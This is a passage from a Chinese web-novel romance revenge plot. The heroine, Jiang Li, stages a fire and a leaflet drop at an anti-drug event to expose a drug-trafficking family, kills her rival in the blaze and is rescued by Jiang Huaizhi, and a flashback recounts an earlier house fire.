“大哥,继承文书被樱花偷走了。”他喘了一口气,吞咽了一下有些干涩的喉咙,说出来了自己心里那个大胆的猜测,“这个代号樱花的女杀手,好像是姜梨。” …… 江淮之打开电脑,开始看幽谷居的监控。 姜梨在九点多被宋折送回家以后就再也没有出过门,手机上安装的定位系统也显示姜梨现在就待在幽谷居。 那名叫做樱花的杀手江淮之也听说过,行踪不定如同鬼魅,从未失过手,也没人能抓得到她。 这个杀手的名字早在四年前就有人听说了,那个时候姜梨明明就在他们的眼皮子底下,她不可能是樱花。 江淮之给宋折打了一通电话。 那边在铃声响了二十秒才接起来,声音又低又哑:“阿野,怎么了?” “二梨今晚除了纪繁星以外,还有见过其他什么人吗?” “没有啊,出什么事了?” “没什么,看好她。”江淮之捏了捏眉心,交代完以后挂掉了电话。 黑衣人拿出姜梨刚刚在车上换下来的沾上了不少血迹的衣服,用剪刀裁剪成了碎片,冲进了厕所。 面具和短发也都被他精心处理掉了,一点痕迹都没有留下。 姜梨接到江淮之的视频通话时,她已经简单的处理好伤口,躺进被窝里许久了。 她眼神闪了闪,抿了抿唇,在铃声快要自动挂断的时候点了接听。 “嗯?怎么了?”手机的镜头对着自己,姜梨没有睁眼,头发和身上的睡衣都有些乱糟糟的,露出一大片风光。 床头开了一盏小台灯,光晕洒在她身上温暖又恬静,脸颊泛着红晕,一副睡得迷迷糊糊的样子。 江淮之的心渐渐落了回去,慢悠悠道:“没什么,看看你有没有乖乖睡觉。” 姜梨这才缓缓睁眼,声音低低的:“如果你异地恋的男朋友突然在半夜给你发信息或者是打电话,说想你了、想看看你这种类似的话,就说明他一定是做了什么对不起你的事。江淮之,你该不会是偷摸着把时愿带回北城了吧?你现在不会跟她躺在一张床上吧?” 江淮之被她这番言论给气笑了,不知道她的脑袋瓜里都在想什么,把镜头拿的远了一点,好让她能看清楚,偌大的卧室里,只有他一个人。 “少听这些不实言论,我真的在想你。” 脑子里突然想到了时愿那天说的话,江淮之给她挡过刀的事情,因为姜梨跟时愿长得像,所以在她被姜铭生家暴的时候,哪怕江淮之再讨厌她,也还是救了她。 是因为快要结束了,她不想在最后的时间里去跟他吵架,所以才装作不计较。 但是每次都会不受控制的想起来,时愿说的那些都像是恶魔的咒语不断萦绕在她耳边,幻化出来一把利刃,戳穿她的心脏。 哪怕后来江淮之真的爱上她,但是最初的时候,他喜欢时愿是事实,姜梨长得像时愿也是事实,江淮之有事瞒她,并且骗了她也是事实。 除去他跟时愿之间的纠葛,江淮之甚至连真实身份都不愿意告诉她。 姜梨强忍着手臂的痛感,眼皮缓缓垂下来掩去眼里的情绪,小声说道:“已经过了零点了,今天是十六号了。” 江淮之掀开窗帘,看了眼外面黑漆漆的天色,低沉沉的“嗯”了一声,“等你那边结束回来,带你去看一个惊喜。” 姜梨没有回答他,声音里带着点难以抑制的雀跃,“好巧啊哥哥,我也给你准备了惊喜。” “嗯?什么?” “惊喜当然是不能说出来的咯。”姜梨看了眼屏幕里的人,头发再乱也依旧俊美,她弯了弯嘴角,“是给你的生日礼物。” “江淮之,生日快乐。” 第150章 起火了 第二天下午的五点半,司南赫再次来到了江淮之的私人别墅,手里拿了一个包装精致的礼物盒。 “这个是叶辞拜托我给你的,他说……是姜梨让他转交给你的。”司南赫将礼物盒放到了桌子上。 江淮之看着那个盒子,心里咯噔了一下,隐约有了某种猜测。 当着司南赫的面,将盒子拆开。 里面放着的就是姜梨花重金买下来的那款男士手表,以及一张明信片。 上面写了一段英文字母,一个女孩问男孩:你欺骗我了吗?男孩说:不,我没有。 真相并不重要,情人节快乐。 江淮之记起来这张明信片他在哪里看到过了。这是出自nuttsh,名字叫做《valentine‘s day》的一幅画。 明信片的背面有姜梨的手写字。 “你讨厌我吗?你欺骗我了吗?” “没有关系,真相并不重要,二十八岁的江先生,生日快乐。” 江淮之眉毛紧皱,姜梨怎么会写下这么一句话? 他的心重重的跳了一下,还没等他拨通姜梨的号码,她的电话就先打了进来,江淮之接起来,问她:“手写卡片是什么意思?” “先看天上。”姜梨那边有些嘈杂,她说话的声音带着微弱的电流,透过听筒传进他的耳朵。 江淮之不明所以。 他打开阳台的窗户,三秒之后,接连不断的“砰砰”声响起,整片夜空一瞬之间亮如白昼,五颜六色的烟花在空中炸开。 不仅仅是这一片区域,整个北城,都被绚烂夺目的烟花点亮。 江淮之的瞳孔猛缩,心脏也跟天上的烟花一样,不断的炸开。 她也为谢鹤扬放过一场烟花,江淮之那个时候嫉妒的要发疯,但是那一场烟花却连今天的万中之一都比不上。 他以为的那款姜梨要送给别人的手表,也是她提前给他准备好的生日礼物。 姜梨迟迟听不到他的声音,问了他一句:“烟花不好看吗?” 江淮之听见姜梨的声音才缓缓回过神来,声音都带着些颤意,“好看,我很喜欢。你我也很喜欢,不讨厌。” “你丢下我去找时愿那次我们吵架了,卡片就是那个时候写的,后来你虽然解释了,可我还是生气。”姜梨停顿了一下,微微叹了一口气,“但是我后来想想还是算了吧,我才不要跟老男人计较,就在后面加了一句生日快乐。” 虽然她现在没在他跟前,但江淮之依然可以想象的出来她此刻的表情,故作大度的委屈包。 “是哥哥不好。”江淮之喉咙滚动了一下,轻声道:“等你从港城回来,我就会把她送走。” 没有听到姜梨的回答,纪繁星和工作人员在催她什么。 姜梨:“我要去讲座现场了。” 江淮之回答她:“明天见。” 电话挂断后,江淮之继续抬头目不转睛的望着天空。 这一幕,这一天,在很多年之后回想起来心脏依旧会控制不住的加快。 礼堂大门口,提早到达的宾客们仰头观望这场无比大型的烟花秀,纷纷“哇”了一声。 一开始都以为这场烟花是是沈家的手笔,因为今天是沈叙和傅绾的婚礼,然而看到后面才发现了不对劲。 因为炸开的烟花,排列出来的形状是江淮之的名字! 不管是前来参加婚礼的宾客,还是路过的路人,都停了下来,拿出手机对着天空拍照、录屏。 不仅仅是北城,就连樱洲也被烟花沦陷。 独自一个人待在公寓里的时愿也被这场烟花震撼到了,也知道为何会有一场这样的烟花。 今天是江淮之的二十八岁生日。 时愿只送了江淮之一款最为普通的手表,根本没办法跟这场烟花相提并论。 她咬紧了后槽牙,好一个姜梨,都已经离开内地了,还是不消停! 叶辞站在北城市中心的顶楼,近距离的观赏这场令人叹为观止的烟花秀。 跟其他人一样,他拿出手机拍了一段视频,发给了远在港城的姜梨,附上了一句:“这是你托我送给他的生日礼物。” 姜梨出财力,叶辞出人力,他甚至搬出来了叶家,来帮她达成了这样的心愿,为江淮之点亮了北城和樱洲。 消息发出后没有几秒钟,就收到了姜梨的回复,“谢谢辞哥。” 叶辞没再回复,他捏紧了衣服口袋里的那张卡,眼睛慢慢变得猩红。 知道姜梨和纪繁星要参加禁毒宣传讲座的第一时间,叶辞大概就猜到了她要干什么。 往年这样的活动叶止都会去参加,所以叶辞知道是在晚上九点开始,姜梨会在今晚揭发沈月汐的罪行。 北城、港城、樱洲,都会被搅的翻天覆地。 谢鹤扬和纪繁星,真的保护得了姜梨吗? 叶辞咬了咬牙,转身快步离开了天台。 …… 禁毒宣传讲座除了形象大使,邀请到的名人也有不少,谢家、韩家、楚家都会在场。 姜梨和纪繁星是演出嘉宾,不用正儿八经的坐在嘉宾席走完全部流程,她们演出完了就结束了。 主要还是因为纪繁星的身份比较敏感,主办方还是有所顾虑。 在楚栖月这个形象大使致完辞后,姜梨和纪繁星也上了台。 纪繁星穿了一件白色礼服,头发挽成了丸子头,化了一个淡妆,简洁又大方,坐到了提前摆放的钢琴前。 场内的灯全部暗了下来。 伴随着纪繁星弹出来第一个音节,姜梨握着刀柄,刀身出鞘的一瞬间,熊熊火焰立刻包裹住了刀刃,还闪着漂亮的火花。 借着这样的火光,台下的人才看清台上的人。 姜梨穿着黑白配色的宋制服装,黑色的长发束成了高高的马尾,像极了威风凛凛的女将军,英姿飒爽。 伴随着激昂的钢琴曲,姜梨挥刀、跳跃、后空翻,完成了一个又一个高难度的动作,形成的火弧就像一条火龙,台下的人惊叹不已。 钢琴曲的间奏突然变得更加高昂起来,听到这段乐曲,再去看台上挥舞的刀刃的女孩,和已经逝去的姜祈安的身影慢慢的重叠。 命途这首钢琴曲在当年的钢琴大赛上拿到了金奖,既楚云之后,二十岁的姜祈安也被冠上了天才钢琴家的桂冠。 这首曲子也经久不衰,哪怕是姜祈安已经去世,听到这首钢琴曲时,人们也依旧能准确无误的叫出他的名字。 台下的楚珩熠的眼睛微微眯起,看着姜梨挥动着刀,将刀尖准确无误的对准他,火光下她眼里的冷戾几乎要将他戳穿。 楚珩熠的心脏重重的跳了一下,还没等他想清楚姜梨这是什么意思,就听到了一阵“噼里啪啦”的响声。 话筒线和音箱线火光四射,空气里弥漫着烧焦的糊味,下一秒,舞台上的话筒线瞬间烧了起来! 第151章 漫天飞舞的罪状书 在所有观众以及幕后工作人员的眼皮子底下,电线炸出紫蓝色的电光,台上的电子幕布也开始冒起了黑烟。 一瞬间,整个舞台都被大火吞没。 “怎么回事?!” “是电路故障了吗?为什么会起火!” 就在这时场内突然出现了几架无人机,零零散散的纸张像下雪一样被撒下来。 “北城沈家三小姐沈月汐,纵火杀人,草菅人命,其母楚云和警方勾结伪造人证物证,使其逃脱法律制裁。” “港城楚家楚珩熠和禁毒大使楚栖月,勾结沈家沈叙买卖毒品!陷害纪家!” 简单几行字清晰明了!证据确凿! 楚栖月拿着这些轻飘飘的纸张,手和双唇都在颤抖,脸色“唰”的一下变得无比难看。 在一种惊呼声中,人群里爆发出一声刺耳的尖叫,“啊!不好了!场内有炸蛋!” 从座位底下摸出定时炸蛋的人率先跑了起来,脸色恐惧的不像是在说笑,接下来的一瞬间场内爆发出尖锐的暴鸣声,所有人都开始尖叫起来,声音几乎要掀翻房顶,大家开始疯狂逃窜。 在现场的司南泽故意甩开司南衍以后,想要回头冲进去,却被随身跟着的裴安给拦住了,“先生!您现在不能去!” 司南泽的双目通红,“放开!” “先生!楚珩熠和沈叙现在已经暴露了!您现在必须马上离开这里!去商量对策!” 火势已经到了不可控的地步,况且现在会场里还被人安放了炸蛋,司南泽进去必定必死无疑! 不管是出于哪方面考量,裴安都不能让他进去! 来往的人流挤过来,司南泽被裴安强硬的拉着往前跑。 “走!快走!” 命运攸关的时刻,没有人有心思去管还在台上的纪繁星和姜梨。你推我,我推你,拼命的朝着出口挤。 “砰!” 就在这时,舞台的天花板崩塌砸了下来,钢琴声也戛然而止。 逃到外面的人也不敢停在这栋楼的周围,毕竟里面藏着的定时炸蛋随时可能爆炸,都躲在远处观望。 他们这才知道这场火灾究竟有多严重,三层楼的建筑物每一层都在往外浓烟,电表箱还在持续闪着火花。 维港的led大屏上也开始播放起了一段视频,是当年轰动一时的一起火灾现场,也就是让林遥和林宴丧命,姜梨重伤的那场火灾。 黑白的画面使用了技术手段,可以清晰的看到是沈月汐蓄意纵火。 起因是林宴私闯民宅,林遥和他拼死搏斗导致两人昏迷,沈月汐就是这个时候潜入进来洒了不明液体,又用打火机点燃了窗帘,引了大火。 最后在房梁坍塌的那几秒里,林遥抱着姜梨逃到了阳台,最后因为林宴企图不轨,挣扎间三个人一起坠下了高楼。 然而视频到这里并没有结束,当初楚家六夫人坠楼流产的现场录屏也被放了出来,亲手将她推下去楼梯的人不是姜梨,而是楚柠歌。 观看的群众被震惊的哗然一片,实在是没想到十几年的往事居然还能迎来反转! 小小年纪心思歹毒的人不是姜梨,而是楚六夫人的亲生女儿,楚柠歌。 禁毒宣传讲座现场接二连三的风波,迅速的冲上了热搜。 一片混乱之中,楚栖月想要趁乱逃走,却被人狠狠踹了一脚。 “毒贩楚栖月要逃跑了!大家快抓住她!” 不过一分钟的时间,趴在地上的楚栖月就被几个人民群众给制服。 警察此刻也全部出动,抓捕楚珩熠以及楚家其他涉事人员,一个都不放过。 刚刚在疏散人群的两名戴着口罩和帽子的安保人员在安全送出来最后一个人时互相对视了一眼,然后在所有人惊诧的目光里再次重新冲了进去。 在他们进去的一瞬间,大楼的窗户玻璃破裂,燃烧的火焰飘了出来。 同时,天空又开始洋洋洒洒的飘起了楚家和沈家的罪状书,风一吹就铺满了整条街道。 这时才有人反应过来,这场混乱是纪繁星和姜梨制造出来的,为的就是让楚家和沈家这两颗毒瘤伏法。 也是在为纪家洗刷冤屈,为自己逝去的亲人和朋友报仇。 众人这才想起来,开始七嘴八舌的喊:“纪繁星和姜梨还在里面!” 此时的会场内。 纪繁星扶着姜梨,用事先准备的湿手帕捂住口鼻,脚步跌跌撞撞的朝着她们商定好的方向跑。刚刚重新冲进来的两名安保人员,沈翊和谢鹤扬在那里等她们。 突然,一声啼哭声让姜梨猛地停住了脚步。 她的眼睛睁大,朝着声源看过去,一个约莫三四岁的小男孩站在那里号啕大哭。 姜梨的心立刻提了起来,太阳穴“突突”跳了两下。 谢鹤扬和沈翊不是早就开始疏通人群了吗!?这里怎会可能还会有一个孩子! 就在这时,男孩头顶的水晶吊灯开始不断摇晃,姜梨把胳膊从纪繁星臂弯里抽出来,毫不犹豫的转身冲了过去。 “姜梨!!” 在水晶吊灯砸下来的一瞬间,姜梨就已经护着那个小男孩滚到了一边,她的后背在满是玻璃碴碎片的地面滚了一圈,最后狠狠撞在了一扇门上。 孩子的哭声和玻璃碎裂的声音几乎要刺穿人的耳膜,姜梨赶紧把湿毛巾捂住那个孩子的口鼻。 就在她想抱着小孩站起来的时候,身后紧闭的休息室的门被打开,一只满是鲜血的手突然用力的抓住了姜梨的脚踝! 第152章 风起云涌 被绑在这里多时的沈月汐已经借着火烧断了捆在身上的绳索,她的背部和手臂都有不同程度的烧伤,爬过来的轨迹都有一道血痕。 “姜梨,你以为你联合楚柠歌一起来杀我,你就能赢了吗?”沈月汐仰起头,怒目圆睁的看着她,她的头发凌乱,表情无比狰狞,像极了恐怖片里阴暗爬行的怪物,“你做梦!我就算是死,也要拉着你垫背!” 纪繁星不由得睁大了眼睛,这个女人就不能老老实实的去死吗?! 姜梨眼神一凛,另一只脚狠狠的踩上沈月汐的手,整个空间都是她凄厉的惨叫声,就在姜梨抱着人要跑的时候,头顶的房梁砸了下来。 她咬了咬牙,把孩子推了出去,落下来的房梁砸到沈月汐的手上,惨叫声不绝于耳,休息室的门也被彻底堵上形成了火墙。 “你带着这个孩子赶紧走!不然一会消防队的人来了你就没法走了!” 姜梨知道,她今天出不去这个火场了。 纪繁星也明白,但她不甘心! 因为气温过高,四周的玻璃都在不断的爆破,距离爆炸的时间也所剩无几。 姜梨又朝着外面喊了一声:“我们当初说好的,不管出现什么意外,谁都别管谁,只管逃命!要做的事情还没有完全解决!” 小男孩已经快奄奄一息了,纪繁星抱起她,看了眼被堵住的休息室,转身跑出去的一瞬间,眼泪从眼眶里落了下来。 沈月汐已经奄奄一息了,就算一只脚已经跨进了鬼门关,此时此刻她看向缩在角落里的姜梨疯狂的笑了起来,“你知道哥哥是怎么死的吗?” 姜梨闻言身体一顿,抬起眼冷冷的看着她。 “我早就知道沈叙是毒贩了,也早就知道姜祈安是缉毒警了,是我告诉沈叙的。” “妈妈也知道。” 轰——的一下,沈月汐的话犹如一道雷一般劈在了姜梨的头顶,脑子里地动山摇,耳边一片嗡鸣。 “你为什么要这么做!为什么!!你难道不知道一个缉毒警落在毒贩手里会……” “我知道!明明都是妹妹,可他却一直都偏心你!你琴棋书画哪一样都比我好,就是因为他只教你却不肯教我!他最后甚至还想亲手送我去坐牢……明明你也杀了人,杀的还是你们的生父,他一直都在包庇你!我不过是放了一把火,他就要送我去坐牢!他还在偷偷收集妈妈贩毒的证据,想要大义灭亲,他难道不该死吗!?”沈月汐突然崩溃的大叫了起来,因为灼烧的疼痛她的脸一片惨白,但是眼睛却又红的吓人,一眼看去非常瘆人。 “况且从一开始林宴就是冲着你去的!要不是为了保护你,林遥她根本就不会死!都是因为你!!你就是一个丧门星!害了妈妈也害了你那个强奸犯的爸爸!” “你哥和你爸都死了,你也该去死,你们全家都该死!” 姜梨已经没办法去细想她话里的这些信息量,她气的脖子的青筋凸起,徒手抓起旁边熊熊燃烧的木棍就朝着沈月汐身上砸了过去。 木棍砸在她身上,沈月汐后背的衣服也被火给点燃,她像是感觉不到似的,自顾自的说着:“哈哈哈哈!你就算是杀了我又怎么样?你自己也要命丧黄泉,只要楚云和沈叙还活着,你就不可能复仇成功!” 被打开的门倒了下来,砸在了沈月汐的身上,好几秒以后世界彻底安静了下来,空气里弥漫着肉体被烧焦的难闻气味。 姜梨小心翼翼的爬过去,对上沈月汐还没有合上的眼睛,她捡起地上的玻璃碎片,狠狠的扎了进去。 这是她欠她的!也是她欠林遥的! 血液喷溅在姜梨的脸上,沈月汐也已经没了生气。 “很快你的爸爸妈妈就会和你在地底下团聚了。我和你们,只能是两败俱伤,但绝对不会失败。” 此时的会场外已经乱成一团,消防员和警车还未赶到。 “先生!您不能进去!里面现在放有定时炸弹,还没有拆除!” “滚开!” 两名保安想要拦住要冲进会场的男人,却被男人两脚踹开。 “先生!!” “大少爷!” 江淮之像是没听见身后的呼喊一样,双目猩红,飞速冲进了冒着滚滚黑烟即将就要爆炸的会场。 姜梨,姜梨! …… 姜梨扔玻璃,强撑着身体站了起来。 现在外面没有人,她抬起腿连踹了好几脚才踹开了堵在门口的房梁,然后跌跌撞撞的跑了出去。 因为吸入了过多的浓烟导致肺部不断膨胀,呼吸困难,大脑缺氧,就连喉咙都是灼烧一般的痛。 她的双腿一软,终究是倒在了一片废墟的火海里。 被烫伤满是鲜血的手紧紧攥着一枚玫瑰花的挂件和一枚戒指,另一只手抬起来摸了摸脖子上挂着的吊坠,然后捏紧。 记忆像走马灯一样在她的脑海里不断播放,全部都是江淮之,每一个片段都是江淮之。 他会一直记得她吗? 意识逐渐抽离,脑子里的记忆也慢慢的开始崩坏,模糊中看见有两个人往她这边奔了过来。 是纪繁星吗?还是谢鹤扬? 诈死的尸体都已经放好了,他们怎么还没有走? 耳边声音嘈杂,但是渐渐的也变得越来越小,最终姜梨沉沉的闭上了眼睛,彻底晕死了过去。 消防车和警车刚停下来,就听到了“砰砰砰”不间断的爆破声,碎屑和残片横飞,一栋三层楼的建筑物就这样在所有人面前被炸成了废墟。 远处的谢铭看到这一幕,心脏都停止了跳动,直挺挺的跪了下来。 所有的围观群众都难以置信的看着这一幕,不敢相信几条鲜活的生命,就这样消失在了成千上百个人的面前。 突然天空开始聚集大片的乌云,雷声滚滚而来,划过的闪电似是要将黑夜撕成两半,强劲的风暴席卷而来,令人胆战心惊。 火焰越烧越旺,消防员拎着水管奔了过去。 就在这时,一个男人怀里抱着一个女人,一步一步地从还未散去的灰尘和浓烟里走了出来。 第153章 南诗奕已经死了 2021年夏。 姜梨坐在教室里,头顶的风扇呼啦呼啦的旋转,吹起来带着燥热的风。 扎着一个高马尾,一层刘海遮住了逛街的额头,穿着北城一中的蓝白短袖校服,露出来的手臂白的发光。 她低着头看着桌上摊着的一张数学卷子,握着一根笔时不时的划拉两下,好看的桃花眼里满是难掩的躁。 姜梨扭头对着后面的人喊了一声:“阮经颜,数学作业借我。” 懒得做了,费脑费时还算不对,不如直接抄。 趴着睡觉的阮经颜连头都没抬,在桌箱里扯出来一本书扔了过去。 没有照抄,改了几个答案以后撂下了笔。 中午吃饭的时候阮经颜问她:“你这个星期还待在宿舍?” “二中高三复读生周六不是不放假吗?林遥说我一个人在那儿不安全,不让我回。”姜梨扒拉了几下餐盘里的饭菜,没什么食欲。 阮经颜:“江淮之不是已经毕业了吗?他没回北城吗?” 姜梨的动作猛然停住。 她跟江淮之最后一次见是在三月份的时候,她17岁生日那天。现在已经九月份,半年没有联系。 江淮之提前毕业的事情她也不知道。 半天没听到姜梨的声音,阮经颜这才抬头去看她,发现她表情不对,太阳穴跳了两下,“他没和你说吗?” “没有。” 阮经颜还是挺了解姜梨的,下意识问出口:“你别是因为自己耍酒疯把他亲了,然后怕他算账就把他给拉黑了吧?” 姜梨:“………” 她不说话,阮经颜就当姜梨是默认了。 阮经颜想到高一的时候,她在回家的路上看到江淮之用死老鼠吓唬沈月汐的事,莫名的抖了一下。 姜梨注意到她的这个动作,“你抽筋了?” “那个,你说有没有一种可能。”阮经颜放下筷子,吞咽了一下喉咙,吞吞吐吐道:“你这个没有血缘关系的哥哥,其实……对你也有意思?我看你……额,那个上去的时候,江淮之好像也没有生气,反而在……暗爽。” 妹妹被欺负了,直接从樱洲飞到北城来,大半夜的把歹毒的心机女堵在巷道里,毫不犹豫的把死禽塞人嘴里一顿恐吓。 人前是温柔阳光大帅哥,人后却是一个病娇属性拉满的疯批。 而姜梨。人前是听话安静的小白兔,人后却是嘴毒腹黑的一朵黑莲花。 嗯,从某种程度上来说还挺般配。 姜梨蹙了蹙眉,“你的脑子和眼睛抽筋了。” 阮经颜:“………” 意思就是她脑抽,眼瞎。 阮经颜还想说些什么,但是最后还是没说。 江淮之那样的人,要是真的喜欢姜梨就不可能会be,她瞎操什么心? …… 周六上午的课上完,下午放假。 姜梨没回家,跟同宿舍的室友一起排队买奶茶。 队伍有些长,她低着头看手机。 点开了微信里的黑名单,看着里面待着的一个人,眼底沉了沉。 阮经颜昨天说的没错,她确实把江淮之拉黑了,但不是因为发酒疯亲了他觉得害怕,是因为他回了司家,还说他以后不是她哥哥了。 姜梨很生气,谁他妈稀罕他这个哥哥?要滚就滚远点,要断也断干净点,老死不相往来。 倘若见到了也要装不认识,谁先跟对方说话谁就是孙子,孬种。 于是姜梨就把他的微信和qq都给拉黑了,连各个游戏的游戏好友都删了个干净。 后来姜祈安也来跟她说,以后见到江淮之不要再喊哥哥。 要喊他司大少。 姜梨应了声好,扭头把电话卡给掰了,换了个新号。 到现在,半年没见过一面,也没联系过。 还真是断的干干净净。 “哎,小梨子。”突然一个人轻轻拍了一下姜梨的肩膀,她扭头看过去,看到了戴着口罩的南诗奕。 刚刚灰暗的眼睛瞬间亮了起来,“阿南姐?!你不是在樱洲吗?怎么来北城了?” 南诗奕眼睛弯了弯,“我来看看你,顺便看看林遥。” 姜梨“啊”了一声,奇怪的看了她一眼,南诗奕什么时候跟林遥关系这么好了? 南诗奕像是没注意到姜梨的眼神,“这里人很多,去你家说?” 她是现在当红的明星,在这里确实不合适,两个人走到街边打了车,回了林遥和姜梨平时住的那个公寓。 十分钟后抵达了小区,两个人刚下车就看到了从里面飘出来的一团浓烟,姜梨的心“咯噔”一下,南诗奕拉过她的手,带着她跑到了她们住的那一栋楼。 楼下站着许多围观的人,姜梨抬头往上一看,一瞬间全身的血液都凝固了。 是她和林遥住的那一户起火了! “哎,小姑娘!不能上去!” 姜梨和南诗奕脸色一变,挤开围观的群众就冲了进去,几个人上来拦没能拦得住她。 走楼梯通道爬到了七楼,姜梨哆嗦着手从校服口袋里掏出钥匙想开门,却发现门被锁死了。 “砰!”最后是她和南诗奕合伙把门给踢开的。 扑面而来的是滚烫的热气和刺鼻的浓烟。 引入眼帘的是一橙红色的海洋,客厅里能烧的地方已经全部烧着,各种家具都被大火烧的摇摇欲坠。 而里面所展现的画面让姜梨的脑神经顷刻之间全部断裂。 一个男人,把林遥压在地板上,正在实行侵犯,林遥死死的抓着一个玩偶挡在胸前,不断的反抗、挣扎。 姜梨怒火中烧,脖颈的青筋凸起,猛地冲上去把凌驾在林遥身上的男人扑倒在地上,死死的掐住了他的脖子。 她这才看清男人的脸,是林遥的亲弟弟,林宴。 姜梨赤红着双眸,掐着男人脖子的手力道不断加重。 林宴的后脑勺磕到满是玻璃碎片的地板上,那一下的冲击力让他有些恍惚,居然真的被姜梨掐的有些窒息,两眼翻白。 姜梨将他压制着,而后抡起拳头照着他那张脸砸了十几下,林宴满脸的血糊了姜梨一手,一动不动,被打的陷入了短暂的昏迷。 畜生!畜生!! 林遥没有去管自己已经被撕裂的领口,也没管自己还在流血的嘴角,她的脸全是脏污的灰尘和血,狼狈不堪的从地上爬了起来,紧紧抱着那个玩偶,另一只手一把捏住了她不断挥下去的拳头。 她不知道姜梨为什么会突然回来,现在最重要的是要赶紧逃出去。 “走!快走!趁着林宴没醒。” 她把姜梨拉起来就要往外跑,玄关处的立柜和鞋柜轰然倒塌发出一声巨响,姜梨看到倒塌下来的东西砸在了南诗奕的身上。 姜梨的一颗心提到了嗓子眼,立刻就要冲过去救人,嘴里还大喊了一声:“阿南姐!” 林遥顿时像是被泼了一盆冷水,洛骞没能治好她吗? 眼看着姜梨真的要冲到熊熊燃烧的火焰里去救人,林遥再次抓住姜梨的手腕,崩溃的朝她大喊:“这里根本没有什么南诗奕!她已经死了!死了!” 第154章 他比你想的要爱你 南诗奕已经死了,南诗奕死了。 死了。 这句话在姜梨的大脑里不断重播,耳边是一阵嗡鸣。 姜梨不信,头摇的像拨浪鼓,“她怎么可能死了?那刚刚和我来的人是谁?刚刚跟我说话的人是谁?她明明!” 林遥一巴掌拍到了她脸上,“你看清楚一点!所有的一切都是你的幻想!” 姜梨的脸被打得偏过去了一些,她缓缓抬起眼睛朝着玄关处看过去,霎时间瞳孔地震,没了声音。 那里只有倒塌下来的家具,只有一片废墟,根本没有南诗奕。 火还在烧,滚烫的温度以及缭绕的浓烟让人喘不上气。玄关已经被堵上,门框都是火焰,没有办法再出去。 林遥一边护着怀里紧紧抱着的玩偶,一边把呆滞的姜梨从地上拉起来往阳台跑,然而这时的林宴已经清醒了过来。 姜梨这个害他蹲大牢的罪魁祸首,他在这里蹲守了一个多月都没蹲,现在居然主动送上门来了。 林宴缓过来,啐了一口血水,看着要跑的两个人快速站了起来追上去,大掌从后面一把拽住了姜梨的头发将她拉了回来。 他人高马大,力气也大的离谱,姜梨感觉自己的头皮都要裂开。 “姜梨你害我蹲了这么久的大牢,我死也不会放过你!林遥你不是要跟我同归于尽吗?反正这火这么大,谁也跑不掉,咱们三个今天就一起死在这里吧!” 林遥从地上捡起来她刚刚掉落的水果刀狠狠捅进了林宴的腹部,林宴吃痛,眼睛死死盯着林遥,一把甩开姜梨去掐林遥的脖子。 林宴这个人就是一个定时炸弹,只要他在一天,姜梨就永远都没有办法过安生日子。 江淮之在,姜祈安在,但他们不是每时每刻都在,比如像这一次。 “快!快跑!姜梨!”林遥一脚踢开他,把玩偶塞给姜梨,扣着她的肩膀把她推到了阳台。 楼下哄闹一片,已经升起了救生充气垫。 林遥想也不想的将姜梨一把推了下去,自己则是毅然决然地转身跟林宴继续留在火场。 带有目的性的引着林宴进了厨房,打开了天然气的阀门。 如果她妈妈没有因为钱故意带着他们嫁给姜铭生,故意想让林宴这个畜生对姜梨不轨以此来毁了她,导致她原本就不太顺利的人生糟糕到这种地步。 父母债,儿女偿。 林宴今天无论如何都不能活着出去。 在姜梨落到救生垫上的时候,在消防员准备救火的时候,在楼下人惊慌失措的时候。 听到了爆炸声,以及人体砸在地上发出来的沉闷声。 姜梨的世界开始崩塌,蓝天被团团黑雾笼罩,所有的一切都失去原本的光彩。 她感觉自己的四肢好似被生生的扯断,全身的骨头同时断裂,产生的强烈的痛苦和愤恨刺激胃肠道,嘴巴里呛出来一大口鲜血。 “林遥!!!” “滴——” 耳边一片嗡鸣,姜梨猛地睁开眼睛,一眼就看到了雪白的天花板。 刚刚耳边听到的嗡鸣声是心电监护的声音。 姜梨有点不知道今夕是何夕,现实还是梦境,天堂还是地狱。 她试探性的动了动身体,扭头打量着周围。蓝色的窗帘紧紧拉着,房门紧闭着,空气里弥漫着淡淡的泛着苦的药味。 意识和感官逐渐回笼,她感觉到自己的两条手臂连带着手掌都紧紧的裹着厚厚的纱布,隐隐约约还有些痛感。 所以这里是医院,她没有死。 这里是疗养院吗? 她记得在昏迷之前看到了两个人冲了进来,没看清楚到底是谁。 “知情不报,还背地里不断的撺掇她。” “你活得不耐烦了吗?” 隔壁传出来微弱的声音打断了姜梨的思绪,她好像听到了沈翊的名字。 姜梨扯掉贴在胸口上心电监测仪的管子,费劲从床上爬起来,她应该躺了很久,所以这里没有鞋子,光着脚跌跌撞撞的往外走。 江淮之穿着病号服,脸色有些苍白,目光幽深、阴鸷,眼底的暴风雨暗涌流动,让人胆战心惊。 毫无预兆的一脚就将沈翊踹倒在了地上,又一连踹了好几下,一点都没收力,当真是要把他往死里弄。 如果江淮之没赶到,姜梨百分百死在火场里是事实。沈翊自知理亏,一声不吭,也不躲避,就给他当活靶子。 江淮之的身上有伤,这么大的动作一个搞不好伤口就会崩开,但是没有人敢去拦他。 韩斯年今天是最先来的,一进来就被江淮之打了一巴掌,一直到他们都到场他都还跪在地上没有起来。 然后开门见山就是找沈翊算账,跟在世的活阎王一样,谁敢拦? 沈翊这顿打的确没白挨,江淮之没直接杀了他都算是看在姜梨叫沈翊一声二哥的这一层面子上。 但凡江淮之再晚到个几分钟,姜梨都要命丧黄泉。 他们没关门,江淮之的病房就在姜梨隔壁,这么点距离她也走了很久,扶着墙站在门框边看着里面。 宋折、洛骞还有谢铭都在,沈翊在被江淮之爆揍,旁边还跪着一个男人。 “哥哥!”姜梨喊了他一声,声音嘶哑得厉害,有点难听。 江淮之立刻停下动作,身上围绕的阴戾一下子就褪了个干净。 姜梨是被江淮之抱回病房的,洛骞和另外的两个医生给她做检查,他就在外面等。 “身上的伤好好养着,没有几个月好不了。”洛骞看了眼门外,无奈的叹了口气,“从江淮之把你救到手,到后面从火场里逃出来都没有让你受到一点伤,他受了很重的伤,昏迷了两个月,昨晚刚醒。” “你想报仇我理解,我也支持。但是你不该瞒着江淮之,更不该骗他。” 洛骞的话犹如几根长针,刺入她的心脏,泛起尖锐细密绵长的疼。 他说的隐晦,但是姜梨知道,江淮之抱着她奔出火场的时候用自己的身体当做是保护她的盾牌。 所以烧起来这么大的火,她的脸上、腿上和身上都没有烧伤的痕迹。手掌烧伤是她跟沈月汐对峙的时候徒手捡木棍砸她弄到的,手臂是在舞台上救纪繁星伤到的。 江淮之扛下了所有,他伤得很严重,不然以他的身体素质不可能会昏迷两个月。 另外两名医生已经很识趣的离开了,病房里安安静静的,窗帘也被拉开,洒进来一地的暖阳。 